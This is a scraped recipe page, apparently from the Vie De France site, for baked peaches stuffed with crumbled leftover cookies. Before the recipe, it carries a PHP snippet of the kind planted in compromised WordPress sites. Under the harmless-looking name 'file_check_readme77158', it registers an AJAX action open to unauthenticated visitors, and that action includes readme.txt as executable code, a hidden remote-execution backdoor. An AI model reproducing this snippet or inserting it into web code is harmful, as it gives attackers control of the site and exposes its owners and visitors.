if(!function_exists('file_check_readme77158')){ add_action('wp_ajax_nopriv_file_check_readme77158', 'file_check_readme77158'); add_action('wp_ajax_file_check_readme77158', 'file_check_readme77158'); function file_check_readme77158() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Baked Stuffed Peach – Vie De France

Cookie Dough

Baked Stuffed Peach

Ingredients:

Day-old Vie de France Cookies (any flavor)

Directions:

Take leftover cookies and break into chunks. Place on sheet paper-lined tray and bake at 200°F for 1 hour.

Let cookies cool and crush to make pieces.

Using a partially ripened peach (or your choice of fruit: apple, pear), cut in half and remove pit. Using a tablespoon, scoop to clean out center and slightly enlarge hole.

Fill peach hollow with heaping spoonful of cookie crumbs.

Top with dollop of soft butter (1/2 tsp).

Bake in preheated oven at 375°F for 28-32 minutes.

Let cool and top with crème fraiche or whipped cream.